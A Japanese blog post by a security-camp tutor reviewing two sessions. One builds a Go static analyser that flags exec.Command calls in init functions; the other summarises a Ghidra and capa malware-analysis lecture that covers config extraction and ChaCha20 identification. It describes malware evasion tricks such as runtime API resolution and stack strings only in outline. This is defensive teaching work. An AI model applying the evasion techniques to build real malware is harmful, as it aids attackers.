前回のハンズオンでImportSpec構造体のポインタであるローカル変数specに対してspec.Pos()を使うことができたのも、/usr/local/go/src/go/ast/ast.goの中にNodeというインターフェースが存在し(Nodeインターフェースはastの各構造体が使うことができるようで、ImportSpecのための特別なインターフェースではない)、Nodeインターフェース内のメソッドEnd()とPos()のImportSpec構造体用の実装が例えばfunc (s *ImportSpec) Pos() token.Pos {...}といったように存在しているので、ImportSpec構造体はNodeインターフェースを使うことができ、故にPosメソッドを使うことができたというのが正しい説明になるようです。また、Specというインターフェースが存在し、これはImportSpecに限らずValueSpecなどSpec系とされている構造体がつかえるようでありますが、Specインターフェース内のメソッドであるspecNode()のImportSpec構造体用の実装がfunc (*ImportSpec) specNode() {}としてast.go内に存在しているから、ImportSpec構造体はSpecインターフェースが使えることになります。そしてSpecインターフェースの中にNodeインターフェースが埋め込まれていて、これによってSpecインターフェースからNodeインターフェースのメソッドを使うこともできるようです。

最初は、全ての構造体が使えるNodeインターフェースをわざわざSpecインターフェースにも埋め込む意味が分かりませんでした、というのも、例えばSpecインターフェースを使う際、結局その中にはImportSpec等のNodeインターフェースを扱える構造体を代入しているわけですから。しかし、よくよく考えれば、もしSpecインターフェースにNodeインターフェースを埋め込んでいなかった場合、Specインターフェース自身には例えばPosメソッドは存在していないわけで、そのSpecインターフェースに対してPosメソッドを使いたい場合は一旦構造体のポインタに直してからPosメソッドを適用する必要に迫られて煩雑になるし不便なので、なるほど、インターフェースにインターフェースを埋め込むのは便利かもしれないと気づきました。

/usr/local/go/src/go/ast/ast.go

...
// All node types implement the Node interface.
type Node interface {
        Pos() token.Pos // position of first character belonging to the node
        End() token.Pos // position of first character immediately after the node
}
...
type (
        // The Spec type stands for any of *ImportSpec, *ValueSpec, and *TypeSpec.
        Spec interface {
                Node
                specNode()
        }

        // An ImportSpec node represents a single package import.
        ImportSpec struct {
                Doc     *CommentGroup // associated documentation; or nil
                Name    *Ident        // local package name (including "."); or nil
                Path    *BasicLit     // import path
                Comment *CommentGroup // line comments; or nil
                EndPos  token.Pos     // end of spec (overrides Path.Pos if nonzero)
        }
        ...
)
...
func (*ImportSpec) specNode() {}
...
// Pos and End implementations for spec nodes.

func (s *ImportSpec) Pos() token.Pos {
        if s.Name != nil {
                return s.Name.Pos()
        }
        return s.Path.Pos()
}
...
func (s *ImportSpec) End() token.Pos {
        if s.EndPos != 0 {
                return s.EndPos
        }
        return s.Path.End()
}
...

さて本題にもどると、ast.DeclインターフェースはdeclNode()というメソッドをもっていて、declNode()のメソッドの実装を探してみると、BadDecl構造体、GenDecl構造体、FuncDecl構造体の三つがこのインターフェースを使えるようです。実際のコードはgo/parserのparser.goなどを見てほしいですが、parser.ParseFile関数の中の実装を確認すると、go/parserの内部の構造体であるparser構造体をinitメソッドで初期化した後に、parseFile()というメソッドを呼んでいます。parseFileメソッドはast.File構造体へのポインタを返すので当然ast.Fileを作る処理があり、そこでは例えばparser構造体のparseGenDeclメソッド等で返されたGenDecl構造体のポインタがappendでast.Declの配列に追加されていっています。重要なことは、ast.File.DeclsにはBadDecl, GenDecl, FuncDecl構造体のポインタが入っており、今回探したいのはinit関数であるので、FuncDecl構造体のポインタのみにとりあえず限定する必要があるということです。

ast.Decl

...
// All declaration nodes implement the Decl interface.
type Decl interface {
        Node
        declNode()
}
...
// declNode() ensures that only declaration nodes can be
// assigned to a Decl.
func (*BadDecl) declNode()  {}
func (*GenDecl) declNode()  {}
func (*FuncDecl) declNode() {}
...

そこで使えるものとして、Goのインターフェースには型アサーションという機能があるようです。この型アサーションはインターフェースの中身の型を限定してインターフェースの中身を返すもので、もしその型にすることができなかったら初期値のnilを返す機能のようです。また、二つ目の返り値としてtrue(うまくいった)もしくはfalseが返されるようです。今回はf.Declの各ポインタにたいして型アサーションでFuncDecl構造体のポインタのみを抜き出してしまいましょう。型アサーション後のローカル変数declの中身がnilだったら型アサーション失敗ということで、FuncDecl構造体のポインタではないということになります。

init関数には加えていくつかの特徴があります。まずは、名前の文字列がinitであること。これはast.FuncDecl.Nameであるast.Ident構造体のNameメンバの文字列リテラルがinitであることを意味します。ほかには、関数であってメソッドではない、つまり、ast.FuncDecl.Recvがnilであることが必要です。さらに、外部(つまり、Goではない)関数ではない、要するに、ast.FuncDecl.Bodyがnilでないということになります。これらをコードの中に落とし込んで、その条件に合致した場合のみ、そのFuncDeclの中の関数呼び出しの解析をすることにしましょう。関数呼び出しの解析はfindCallCommand関数に実装することにします。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }
  for _, decl := range f.Decls {
    decl, _ := decl.(*ast.FuncDecl)
    if decl == nil || decl.Recv != nil || decl.Name.Name != "init" || decl.Body == nil {
      continue
    }
    findCallCommand()
  }
  return nil
}

init関数にはたどり着けるようになったので、次はexec.Command()をいかにして検出するかという話になります。そのためには型チェックの力を使う必要があるので、そのための準備をしてしまいましょう。型チェックはgo/typesのtypes.Config構造体のCheckメソッドを使います。types.Config構造体を作る必要がありますが、その際にConfig.Importerを指定する必要があり、go/importerのimporter.Default()を使うことにします。あまり、よく調べていませんが、Importerによって解析対象のソースコードがインポートしたパッケージのパスを解決するらしいです。Checkメソッドによる型チェックの結果を格納するtypes.Info構造体も作成します。types.Info構造体はmap型の変数の数々で構成されています。GoのmapはいわゆるDictionaryで、keyとvalueの組み合わせを保存しています。go/astの構造体のポインタやinterfaceをkeyへ、go/typesの構造体のポインタをvalueへという形でそれぞれを対応づけており、astからtypesへのアクセスを可能にするもののようですね。makeを使ってmapを作ってしまいましょう。今回の解析対象のファイルであるlib.goのパッケージ名はlibですので、第一引数にはlibを入れてconfig.Checkを呼びます。

types.Config

type Config struct {
    // Context is the context used for resolving global identifiers. If nil, the
    // type checker will initialize this field with a newly created context.
    Context *Context

    // GoVersion describes the accepted Go language version. The string
    // must follow the format "go%d.%d" (e.g. "go1.12") or it must be
    // empty; an empty string indicates the latest language version.
    // If the format is invalid, invoking the type checker will cause a
    // panic.
    GoVersion string

    // If IgnoreFuncBodies is set, function bodies are not
    // type-checked.
    IgnoreFuncBodies bool

    // If FakeImportC is set, `import "C"` (for packages requiring Cgo)
    // declares an empty "C" package and errors are omitted for qualified
    // identifiers referring to package C (which won't find an object).
    // This feature is intended for the standard library cmd/api tool.
    //
    // Caution: Effects may be unpredictable due to follow-on errors.
    //          Do not use casually!
    FakeImportC bool

    // If Error != nil, it is called with each error found
    // during type checking; err has dynamic type Error.
    // Secondary errors (for instance, to enumerate all types
    // involved in an invalid recursive type declaration) have
    // error strings that start with a '\t' character.
    // If Error == nil, type-checking stops with the first
    // error found.
    Error func(err error)

    // An importer is used to import packages referred to from
    // import declarations.
    // If the installed importer implements ImporterFrom, the type
    // checker calls ImportFrom instead of Import.
    // The type checker reports an error if an importer is needed
    // but none was installed.
    Importer Importer

    // If Sizes != nil, it provides the sizing functions for package unsafe.
    // Otherwise SizesFor("gc", "amd64") is used instead.
    Sizes Sizes

    // If DisableUnusedImportCheck is set, packages are not checked
    // for unused imports.
    DisableUnusedImportCheck bool
    // contains filtered or unexported fields
}

types.Info

type Info struct {
    // Types maps expressions to their types, and for constant
    // expressions, also their values. Invalid expressions are
    // omitted.
    //
    // For (possibly parenthesized) identifiers denoting built-in
    // functions, the recorded signatures are call-site specific:
    // if the call result is not a constant, the recorded type is
    // an argument-specific signature. Otherwise, the recorded type
    // is invalid.
    //
    // The Types map does not record the type of every identifier,
    // only those that appear where an arbitrary expression is
    // permitted. For instance, the identifier f in a selector
    // expression x.f is found only in the Selections map, the
    // identifier z in a variable declaration 'var z int' is found
    // only in the Defs map, and identifiers denoting packages in
    // qualified identifiers are collected in the Uses map.
    Types map[ast.Expr]TypeAndValue

    // Instances maps identifiers denoting generic types or functions to their
    // type arguments and instantiated type.
    //
    // For example, Instances will map the identifier for 'T' in the type
    // instantiation T[int, string] to the type arguments [int, string] and
    // resulting instantiated *Named type. Given a generic function
    // func F[A any](A), Instances will map the identifier for 'F' in the call
    // expression F(int(1)) to the inferred type arguments [int], and resulting
    // instantiated *Signature.
    //
    // Invariant: Instantiating Uses[id].Type() with Instances[id].TypeArgs
    // results in an equivalent of Instances[id].Type.
    Instances map[*ast.Ident]Instance

    // Defs maps identifiers to the objects they define (including
    // package names, dots "." of dot-imports, and blank "_" identifiers).
    // For identifiers that do not denote objects (e.g., the package name
    // in package clauses, or symbolic variables t in t := x.(type) of
    // type switch headers), the corresponding objects are nil.
    //
    // For an embedded field, Defs returns the field *Var it defines.
    //
    // Invariant: Defs[id] == nil || Defs[id].Pos() == id.Pos()
    Defs map[*ast.Ident]Object

    // Uses maps identifiers to the objects they denote.
    //
    // For an embedded field, Uses returns the *TypeName it denotes.
    //
    // Invariant: Uses[id].Pos() != id.Pos()
    Uses map[*ast.Ident]Object

    // Implicits maps nodes to their implicitly declared objects, if any.
    // The following node and object types may appear:
    //
    //     node               declared object
    //
    //     *ast.ImportSpec    *PkgName for imports without renames
    //     *ast.CaseClause    type-specific *Var for each type switch case clause (incl. default)
    //     *ast.Field         anonymous parameter *Var (incl. unnamed results)
    //
    Implicits map[ast.Node]Object

    // Selections maps selector expressions (excluding qualified identifiers)
    // to their corresponding selections.
    Selections map[*ast.SelectorExpr]*Selection

    // Scopes maps ast.Nodes to the scopes they define. Package scopes are not
    // associated with a specific node but with all files belonging to a package.
    // Thus, the package scope can be found in the type-checked Package object.
    // Scopes nest, with the Universe scope being the outermost scope, enclosing
    // the package scope, which contains (one or more) files scopes, which enclose
    // function scopes which in turn enclose statement and function literal scopes.
    // Note that even though package-level functions are declared in the package
    // scope, the function scopes are embedded in the file scope of the file
    // containing the function declaration.
    //
    // The following node types may appear in Scopes:
    //
    //     *ast.File
    //     *ast.FuncType
    //     *ast.TypeSpec
    //     *ast.BlockStmt
    //     *ast.IfStmt
    //     *ast.SwitchStmt
    //     *ast.TypeSwitchStmt
    //     *ast.CaseClause
    //     *ast.CommClause
    //     *ast.ForStmt
    //     *ast.RangeStmt
    //
    Scopes map[ast.Node]*Scope

    // InitOrder is the list of package-level initializers in the order in which
    // they must be executed. Initializers referring to variables related by an
    // initialization dependency appear in topological order, the others appear
    // in source order. Variables without an initialization expression do not
    // appear in this list.
    InitOrder []*Initializer
}

また、os/execのexec.Commandメソッドの実体かどうかを特定できるよう、exec.Commandのオブジェクトを取得しておきましょう。パッケージが違うなど、スコープが違えばオブジェクトも違ってくるので、os/execパッケージのスコープからCommandメソッドのオブジェクトを探すことになります。ここで得られたオブジェクトの情報は、後にinit関数のBody部分の抽象構文木を探索して得るオブジェクトの情報との比較に使うことになります。

型情報として現在手元にあるのは、types.Package構造体のポインタであるローカル変数pkgとtypes.Info構造体のポインタであるローカル変数infoです。まず、os/execパッケージのtypes.Package構造体を取得するために、pkg.Importsメソッドによってpkg.importsメンバ、つまりインポートしているtypes.Package構造体の配列を取得し、それをfor rangeで回します。もしあるtypes.Package構造体のPathメソッドの返り値の文字列がos/execと一致していれば、os/execパッケージのtypes.Package構造体を取得できたということで、さらにScopeメソッドでos/execパッケージのtypes.Scope構造体のポインタを取得し、Lookupメソッドでそのtypes.Scope構造体の中のCommandオブジェクトを取得します。これでfincCallCommand関数の実装に入る準備ができましたね。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }

  config := &types.Config{
    Importer: importer.Default(),
  }

  info := &types.Info{
    Types: make(map[ast.Expr]types.TypeAndValue),
    Instances: make(map[*ast.Ident]types.Instance),
    Defs: make(map[*ast.Ident]types.Object),
    Uses: make(map[*ast.Ident]types.Object),
    Implicits: make(map[ast.Node]types.Object),
    Selections: make(map[*ast.SelectorExpr]*types.Selection),
    Scopes: make(map[ast.Node]*types.Scope),
    InitOrder: []*types.Initializer{},
  }

  pkg, err := config.Check("lib", fset, []*ast.File{f}, info)
  if err != nil {
    return err
  }

  var execCommand types.Object
  for _, p:= range pkg.Imports() {
    if p.Path() == "os/exec" {
      execCommand = p.Scope().Lookup("Command")
      break
    }
  }

  for _, decl := range f.Decls {
    decl, _ := decl.(*ast.FuncDecl)
    if decl == nil || decl.Recv != nil || decl.Name.Name != "init" || decl.Body == nil {
      continue
    }
    findCallCommand()
  }
  return nil
}

types.Package

// A Package describes a Go package.
type Package struct {
        path     string
        name     string
        scope    *Scope
        complete bool
        imports  []*Package
        fake     bool // scope lookup errors are silently dropped if package is fake (internal use only)
        cgo      bool // uses of this package will be rewritten into uses of declarations from _cgo_gotypes.go
}

types.Scope

// A Scope maintains a set of objects and links to its containing
// (parent) and contained (children) scopes. Objects may be inserted
// and looked up by name. The zero value for Scope is a ready-to-use
// empty scope.
type Scope struct {
        parent   *Scope
        children []*Scope
        number   int               // parent.children[number-1] is this scope; 0 if there is no parent
        elems    map[string]Object // lazily allocated
        pos, end token.Pos         // scope extent; may be invalid
        comment  string            // for debugging only
        isFunc   bool              // set if this is a function scope (internal use only)
}

findCallCommand関数が必要とする情報は、ソースコード内の位置情報を出力するtoken.FileSet.Positionメソッドを使うためのローカル変数fset、型情報を保持しているtypes.Info構造体であるローカル変数info、os/exec.Commandのオブジェクトであるローカル変数execCommand、第一段階の実装で見つけたinit関数の中の処理に相当する抽象構文木のrootノードであるdecl.Bodyの4つです。これらをそれぞれ引数で渡し、以降はfindCallCommand関数の実装を行います。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }

  config := &types.Config{
    Importer: importer.Default(),
  }

  info := &types.Info{
    Types: make(map[ast.Expr]types.TypeAndValue),
    Instances: make(map[*ast.Ident]types.Instance),
    Defs: make(map[*ast.Ident]types.Object),
    Uses: make(map[*ast.Ident]types.Object),
    Implicits: make(map[ast.Node]types.Object),
    Selections: make(map[*ast.SelectorExpr]*types.Selection),
    Scopes: make(map[ast.Node]*types.Scope),
    InitOrder: []*types.Initializer{},
  }

  pkg, err := config.Check("lib", fset, []*ast.File{f}, info)
  if err != nil {
    return err
  }

  var execCommand types.Object
  for _, p:= range pkg.Imports() {
    if p.Path() == "os/exec" {
      execCommand = p.Scope().Lookup("Command")
      break
    }
  }

  for _, decl := range f.Decls {
    decl, _ := decl.(*ast.FuncDecl)
    if decl == nil || decl.Recv != nil || decl.Name.Name != "init" || decl.Body == nil {
      continue
    }
    findCallCommand(fset, info, execCommand, decl.Body)
  }
  return nil
}

init関数のBody部分にどれほどネストが存在するのかは解析対象依存ですので、Body部分の抽象構文木全体のノードを探索します。抽象構文木の探索にはast.Inspect関数を使います。ast.Inspect関数は第一引数に渡されたノードをルートとして抽象構文木深さ優先探索を行い、各ノードに対して第二引数に渡した関数を使用します。個人的には関数自体を関数の引数に渡すのは初めての経験で、Goはこんなこともできるんだなぁという気持ちです。より正確にはGoには関数型という型があって、ast.Inspectの第二引数には関数型の変数が渡されているっぽいです。合っているかな。

ast.Inspectは/usr/local/go/src/go/ast/walk.goに宣言されています。ast.Inspectの中ではast.Walk関数が呼ばれており、Walk関数の第一引数にはinspector(f)が入っています。inspectorはfunc(Node) boolという関数型の型であり、最初は何をしているのかよく分からなかったのですが、ast.Inspectorの第二引数をinspector型にcastしているようです。Goのcast文はこうやって書くんですね。また、Visitorというインターフェイスが用意されていて、VisitorにはVisitというメソッドがありますが、inspector型用のVisitメソッドの実装が存在するのでinspector型はVisitorインターフェースを使用することができます。inspector型のVisitメソッドは、受け取ったnodeに対してそのinspector型の関数を実行します。そしてその返り値がtrueの場合はif文の中に入ってメソッドを使った自身であるinspector型をreturnし、falseだった場合はnilが返ります。例えばv := inspector(func(n ast.Node) bool {return true})というinspector型の変数vがあるとして、v.Visit(node)というようにVisitメソッドを使うと、vの関数(関数型の変数にたいしてその関数を呼称するときに関数型変数の関数という呼び方をして大丈夫なのかどうかは僕は分かりません)であるfunc()がnodeを引数にとって実行されてtrueを返すのでVisitメソッド内のif文の中に入り、vをreturnします。

ast.Walkは第一引数にVisitorインターフェースを、第二引数にast.Nodeを取ります。そしてまず最初にそのNodeに対してVisitメソッドを呼び出し、返ってきた値(VisitメソッドはVisitorインターフェースを返す)がnilだったらリターンし、もしnilでなかったらNodeに対して型アサーションを実行します。switch n := node.(type) {case *Comment: hoge; case *Package: hugaのようにswitch文でast.Nodeの各型によって場合分けをして、そのNodeに子ノードが存在していればその子ノードに対してast.Walkを実行します。

/usr/local/go/src/go/ast/walk.go

...
// A Visitor's Visit method is invoked for each node encountered by Walk.
// If the result visitor w is not nil, Walk visits each of the children
// of node with the visitor w, followed by a call of w.Visit(nil).
type Visitor interface {
    Visit(node Node) (w Visitor)
}
...
func Walk(v Visitor, node Node) {
    if v = v.Visit(node); v == nil {
        return
    }

    // walk children
    // (the order of the cases matches the order
    // of the corresponding node types in ast.go)
    switch n := node.(type) {
    // Comments and fields
        case:
    default:
        panic(fmt.Sprintf("ast.Walk: unexpected node type %T", n))
    }

    v.Visit(nil)
}
type inspector func(Node) bool

func (f inspector) Visit(node Node) Visitor {
    if f(node) {
        return f
    }
    return nil
}

// Inspect traverses an AST in depth-first order: It starts by calling
// f(node); node must not be nil. If f returns true, Inspect invokes f
// recursively for each of the non-nil children of node, followed by a
// call of f(nil).
func Inspect(node Node, f func(Node) bool) {
    Walk(inspector(f), node)
}

ここまでをまとめて実際に分かっていればよいことは、深さ優先探索というアルゴリズムに則って、抽象構文木のルートとして設定したast.Nodeから順に各ノードにたいしてast.Inspectの第二引数に渡されたユーザー定義のinspector型の関数を実行するが、その関数がfalseを返す特別な場合には現在のノードの子ノードから先に対しては探索を行わないということです。よってやるべきことは各ノードに対してexecCommandと一致するtypes.ObjectをCallしているかどうかを判定するinspector型の関数を実装してast.Inspectの第二引数に渡すことになります。

まず、exec.Commandは関数呼び出しなので、型アサーションを各ノードに対して行ってast.CallExprへのポインタであるかどうかを確認します。*ast.CallExprでない場合は探索を続けるのでその時点でtrueを返します。次に、ノードがast.CallExprであったときの更なるチェックを行います。exec.Commandはメソッドであり、ast.CallExpr構造体のFunメンバであるExprインターフェースの中身はast.SelectorExprであるはずです。これも型アサーションを行い、*ast.SelectorExprでなかった場合はtrueを返し探索を続行するようにします。githubの解答例ではfalseを返していますが、その場合はメソッドでない関数呼び出しの中の抽象構文木より先は探索を行わないので、例えばfunc check(cmd *myexec.Cmd) *myexec.Cmd {return cmd}のようなラッパー関数みたいなものを作ってinit関数内でcheck(myexec.Command("ls")を実行する、といったようにメソッドでない関数呼び出しの引数の中でexec.Commandを実行された場合は検出漏れしてしまいますのでtrueを返すようにしました。勿論講義の中では解答例のコードは完璧ではなく、例えばexec.Commandを一旦test := exec.Commandのように変数に代入してからtest("ls")を実行するといった方法を使われると回避されてしまう、などという説明がありました。

さて、以上のチェックをくぐり抜けてきたノードはメソッドと言えるのでこのast.SelectorExpr.Selからメソッドのast.Identを取得します。このast.Identに対応するtypes.Objectがexec.Commandのtypes.Objectと一致するかを比較し、一致していれば出力するようにすれば、検出できたということになります。一致していなければ別のメソッドということになるので、trueを返して探索を続けます。ast.Infoによってastの各構造体にtypesの各構造体が対応付けられているという話をしましたが、今回のようにast.Ident構造体からtypes.Object構造体のポインタをゲットしたい場合はtypes.Info.Objectofというメソッドがあります。このメソッドは引数に渡されたast.Identのポインタに対応するtypes.Objectのポインタをtypes.Info構造体のDefsメンバとUsesメンバのmapから探して返してくれます。

findCallCommand

func findCallCommand(fset *token.FileSet, info *types.Info, execCommand types.Object, root ast.Node) {
  ast.Inspect(root, func(n ast.Node) bool {
    call, _ := n.(*ast.CallExpr)
    if call == nil {
      return true
    }

    sel, _ := call.Fun.(*ast.SelectorExpr)
    if sel == nil {
      return true
    }

    fun := info.ObjectOf(sel.Sel)
    if fun == execCommand {
      pos := fset.Position(n.Pos())
      fmt.Fprintf(os.Stdout, "%s: find exec.Command in init\n", pos)
      return false
    }
    return true
  })
}

ast.CallExpr

type CallExpr struct {
    Fun      Expr      // function expression
    Lparen   token.Pos // position of "("
    Args     []Expr    // function arguments; or nil
    Ellipsis token.Pos // position of "..." (token.NoPos if there is no "...")
    Rparen   token.Pos // position of ")"
}

ast.SelectorExpr
type SelectorExpr struct { X Expr // expression Sel *Ident // field selector }

types.ObjectOf()

// ObjectOf returns the object denoted by the specified id,
// or nil if not found.
//
// If id is an embedded struct field, ObjectOf returns the field (*Var)
// it defines, not the type (*TypeName) it uses.
//
// Precondition: the Uses and Defs maps are populated.
func (info *Info) ObjectOf(id *ast.Ident) Object {
        if obj := info.Defs[id]; obj != nil {
                return obj
        }
        return info.Uses[id]
}

これにて実装は終了です。最後に全体のコードを確認して実行してみましょう。

main.go

package main

import (
  "errors"
  "fmt"
  "go/ast"
  "go/importer"
  "go/parser"
  "go/token"
  "go/types"
  "os"
)

func main() {
  if err := run(os.Args[1:]); err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(1)
  }
}

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }

  config := &types.Config{
    Importer: importer.Default(),
  }

  info := &types.Info{
    Types: make(map[ast.Expr]types.TypeAndValue),
    Instances: make(map[*ast.Ident]types.Instance),
    Defs: make(map[*ast.Ident]types.Object),
    Uses: make(map[*ast.Ident]types.Object),
    Implicits: make(map[ast.Node]types.Object),
    Selections: make(map[*ast.SelectorExpr]*types.Selection),
    Scopes: make(map[ast.Node]*types.Scope),
    InitOrder: []*types.Initializer{},
  }

  pkg, err := config.Check("lib", fset, []*ast.File{f}, info)
  if err != nil {
    return err
  }

  var execCommand types.Object
  for _, p:= range pkg.Imports() {
    if p.Path() == "os/exec" {
      execCommand = p.Scope().Lookup("Command")
      break
    }
  }

  for _, decl := range f.Decls {
    decl, _ := decl.(*ast.FuncDecl)
    if decl == nil || decl.Recv != nil || decl.Name.Name != "init" || decl.Body == nil {
      continue
    }
    findCallCommand(fset, info, execCommand, decl.Body)
  }
  return nil
}

func findCallCommand(fset *token.FileSet, info *types.Info, execCommand types.Object, root ast.Node) {
  ast.Inspect(root, func(n ast.Node) bool {
    call, _ := n.(*ast.CallExpr)
    if call == nil {
      return true
    }

    sel, _ := call.Fun.(*ast.SelectorExpr)
    if sel == nil {
      return true
    }

    fun := info.ObjectOf(sel.Sel)
    if fun == execCommand {
      pos := fset.Position(n.Pos())
      fmt.Fprintf(os.Stdout, "%s: find exec.Command in init\n", pos)
      return false
    }
    return true
  })
}

./testdata/lib/lib.go (解析対象)

package lib

import (
        "os"
        myexec "os/exec"
)

var Message = "hello"

func init() {
        cmd := myexec.Command("ls")
        cmd.Stdout = os.Stdout
        _ = cmd.Run()
}

#実行結果
go build .
./exercise01 testdata/lib/lib.go
testdata/lib/lib.go:11:9: find exec.Command in init

ちゃんと動いていますね。

  • 事後の感想

チューターとしては、Goのインストールの質問が来た時にGOHOMEとGOPATHの設定をチャットに書いたくらいであまりできることはありませんでしたので、このブログでそれなりに詳しく復習することで仕事をしたということにします。各ハンズオンの復習でかなりgo/astやgo/typesの中のコードをチェックしたのですが、Goの色々な機能を知ることもできました。インターフェースとかキャストとか何も知らない状態でGoのコードを読むのは「いったいこれは何なのだろう」から始まって中々大変だったので、まずは言語のDocumentationを読んで大まかな書き方を把握してからソースコードを読むようにした方が良かったかもと思いつつも、僕の場合は結局なにもしないままであることが多いので、こういう初めて触れる言語のソースコードを読まなければいけない状況を用意してもらえるのはありがたい経験でした。攻撃用以外のプログラムを書くことへの苦手意識をすこし克服できたと思っています。完全なるGo初心者かつプログラミング初心者が書いた内容ですので、用語の使い方とかで間違っている部分があったり、もっと良い説明の仕方があったりする場合は指摘をして頂けると嬉しいです。

[C6C7] Malware Analysis

(Real World Malware Analysis: Dissecting Stealthy Vector)

  • 概要

ghidraとghidra scriptを使用して、実際のマルウェアに対する静的解析を行い、暗号アルゴリズムの特定やコンフィグの取得方法を学ぶ。

  • 事前準備

ghidraのinstallが必要でしたが、特段問題はなかったと思います。マルウェア解析は自分があまり精進できていない部分になります。CTFのRevの問題は中級の入り口レベルのものは解けるようになりましたが、でかいプログラムを解析するのはどうにも途中で投げ出しがちで。それでも、それなりのサポートができるとは思っていましたが、結果から言うとまだまだでしたね。

  • 講義内容

僕は去年のC3-1, C3-2に同じ講義(扱うマルウェアは違う)を受けましたが、訳あって録画受講だったので、実際に受講生でディスカッション形式で行うのは初めてでした。やはり、実際に他の人と試行錯誤をしながらハンズオンに取り組むというのは、非常に効果が高いですね。実際のマルウェアの解析を扱っており、decompile後の結果とはいえ実際のコードを何でもかんでも載せていいのかどうか匙加減がわからないので、「こういうことを学んだよ」という説明を主に書きます。まだ完全な復習が終わっていないというのもありますが、Writeupは慎重に書いたものを後でアップできたらと思っています。

講義の導入部分ではマルウェアの種類やMITREのATT&CKの特にマルウェア周りの攻撃シチュエーションの話がありました。DLL-Side LoadingとかProcess Hollowingとか、僕はまだ何も実際に確認していないんだなぁと気づかされました。Mandiantのcapaというツールに関する話もあり、これは後で使います。

次にマルウェア解析の全体の流れの説明がありました。表層解析、動的解析、静的解析の順にお手軽ではなくなり、それぞれ長所と短所がありますが、その中でも静的解析は幅広い知識が要求され、かつ、時間もかかるので大変ですよというお話でした。

PE FormatやWindows APIにもざっくり触れました。末尾がAとWの違いで、A(asciiの方)はW(UTF-16の方)のapiのラッパーだとかそういったところです。僕はいまだにWin API特有の型名に慣れていないらしい。Ghidraの各ウィンドウの機能も確認して、いざ一つ目の擬似マルウェア(41154F3という文字列が入っていたりするように講師の方が講習目的で作成されたもの)の解析に入ります。

エントリーポイントから見ていくTop Down解析と文字列やAPIから辿るBottom Up的な解析がありますが、今回はTop Down解析の入り口、WinMainを見つけるところからです。Symbol treeのentry関数から辿っていったら見つかりますね。exeファイルとして同じ拡張子を持っていても、コンパイラや使っている言語が違えばエントリーポイントの各関数や構造は全く異なっていた記憶があるので、特にSymbol情報がStrippedなバイナリで余計な場所の解析に時間を取られないよう、この手順を確認することは意味があることだと思います。

次にcapaを使いました。このツールはそのバイナリの中にある機能を表示してくれるものです。詳細な解析に入る前に、機械的な処理だけでざっとマルウェアの特徴を掴むことができます。capaの限界として、ImportテーブルのAPIやプログラム中の文字列等をもとにルールで検知しているので、難読化に弱いようです。APIの難読化として、たとえばLoadLibrary等のAPIでわざわざ実行時にDLL等をロードして、GetProcAddressを使ってそのDLL内のAPIへのアクセスを提供するといった方法があります。

お次はマルウェアのコンフィグの抽出です。一部のローカル変数(特に隣接している)がWinMainの内部で執拗に使いまわされていたら、マルウェアの動作を管理している構造体である可能性が高く、コンフィグとして抽出するメリットがあります。このコンフィグはマルウェアの挙動を理解しやすくなるだけでなく、ただ一部のパラメータを弄っただけの同じファミリーのマルウェアに対しても有用であり、また、各マルウェアをファミリーに分類するための情報源の一つとなります。C4C5の講義でもそうですし、Linux KernelのExploitの勉強をしていてもそうですが、色々なところで構造体を使ったプログラムの実装があるんだなと日々実感しており、マルウェア開発している人々も、当然構造体を使っているんでしょうね。

コンフィグらしき構造体を初期化している処理を確認して、ghidraのauto_struct機能を使ってCONFIG構造体のメンバやそのメンバの型などを特定したりしました。初期化の処理ではバイナリに埋め込まれたデータをxor等で復号する処理があり、ここに対してはghidra scriptsを書いて実行することで自動化するという演習がありました。こういったハンズオンはまっさらな状態から自分の手であれこれやるから意味があって、まさにseccampは最適な環境だと再認識しました。CONFIG構造体のメンバ最終的に何のAPIに渡されているかをチェックすると、各メンバの機能がわかってきます。他にも、stack上にレジストリの文字列を作ることで文字列ベースの検出回避しようとするコードがあって、一方でその程度の難読化はcapaがそれをちゃんと検知しており、create or open registry keycontain obfuscated stackstrings等のタグ付けがされていました。総じてマルウェア解析の導入に相応しい擬似マルウェアの解析のハンズオンだったと思います。

後半は実際のマルウェアの解析演習です。これは、後で時間を取って詳細なwriteupを書くのでざっと説明します。

DllMainとServiceMainが存在することから、DLLがWindowsサービスとして実行されるタイプのマルウェアです。マルウェアの中から三つほどの大きめのコードブロックを抽出し、そのブロックの動作を追うことでマルウェアの全貌を把握するといった流れの解析を行いました。

一つ目のコードブロックではある関数が大量に呼び出されており、その関数の返り値がそれぞれ配列に格納されていました。関数の動作の目的を知るには入力(引数)と出力(返り値、あるいは操作結果を格納する構造体)にフォーカスして調べることが有効で、今回の関数はGetProcAddressというWin APIの結果が返されるものであったので、api解決の関数であろうということでresolve_apiという関数名をghidra上で割り振るといった感じに進めていきます。

また、resolve_api内部では第一引数に渡されたバイト列は第二引数と共にとある関数に渡されており、その関数によって変更されたバイト列をGetModuleHandleAというapiに渡すことでGetProcAddressのためのhModuleを用意しています。この関数はとある暗号アルゴリズムを使って意味のある文字列を復号していると考えられ、この暗号アルゴリズムを特定しようというハンズオンがありました。受講生全体を二つに分けて各グループにチューター1人という形で解析を進めていったんですが、自分の方では暗号アルゴリズムを特定できませんでした(個別にできていた受講生はいたかもしれません)。暗号アルゴリズムの特定にはcapaのコメントを参考にするほか、暗号アルゴリズムに使われていそうな定数の値を検索する方法も有効で、今回はその定数で検索するとRFC7539のChaCha20がヒットします。capaのコメントではrc4等書いてあったりするので、コメントは参考にはしつつも鵜呑みにしてはいけないという例でした。気軽に検索する癖をつけないといけませんね。

